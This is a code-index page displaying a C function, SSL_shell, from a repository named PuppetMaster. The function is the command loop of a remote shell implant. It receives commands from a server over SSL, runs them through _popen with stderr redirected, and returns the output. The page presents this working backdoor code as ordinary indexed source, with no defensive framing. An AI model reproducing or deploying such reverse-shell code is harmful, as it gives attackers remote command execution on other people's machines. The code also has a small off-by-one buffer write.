MCPcopy Index your code
hub / github.com/R4be1/PuppetMaster / SSL_shell

Function SSL_shell

SSL-shell/shell.c:19–81  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

17bool change_directory(const char *dir);
18
19void SSL_shell(SSL *ssl)
20{
21 char buffer[1024];
22 while (1)
23 {
24 send_cwd(ssl);
25
26 int bytesRead = SSL_read(ssl, buffer, sizeof(buffer));
27 if (bytesRead <= 0)
28 {
29 fprintf(stderr, "Connection closed by server\n");
30 break;
31 }
32
33 buffer[bytesRead] = '\0';
34 printf("Received command: %s\n", buffer);
35
36 if (strncmp(buffer, "exit", 4) == 0 || strncmp(buffer, "quit", 4) == 0)
37 {
38 printf("Shutting down");
39 break;
40 }
41
42 if (strncmp(buffer, "cd", 2) == 0)
43 {
44 char **words = NULL;
45 int wordCount = 0;
46 if (split_command(buffer, &words, &wordCount))
47 {
48 fprintf(stderr, "Tokenization error\n");
49 SSL_write(ssl, "Tokenization error\n", strlen("tokenization error\n"));
50 continue;
51 }
52
53 if (!change_directory(words[1]))
54 {
55 SSL_write(ssl, "Client could not change cwd\n", strlen("Client could not change cwd\n"));
56 }
57 cleanup_argarray(&words, &wordCount);
58 continue;
59 }
60
61 // get stderr as well
62 if (strlen(buffer) + strlen(" 2>&1") < sizeof(buffer))
63 {
64 strcat(buffer, " 2>&1");
65 }
66
67 FILE *fp = _popen(buffer, "r");
68 if (fp == NULL)
69 {
70 fprintf(stderr, "Error executing command\n");
71 return;
72 }
73
74 while (fgets(buffer, sizeof(buffer), fp) != NULL)
75 {
76 SSL_write(ssl, buffer, strlen(buffer));

Callers 1

mainFunction · 0.85

Calls 4

send_cwdFunction · 0.85
split_commandFunction · 0.85
change_directoryFunction · 0.85
cleanup_argarrayFunction · 0.85

Tested by

no test coverage detected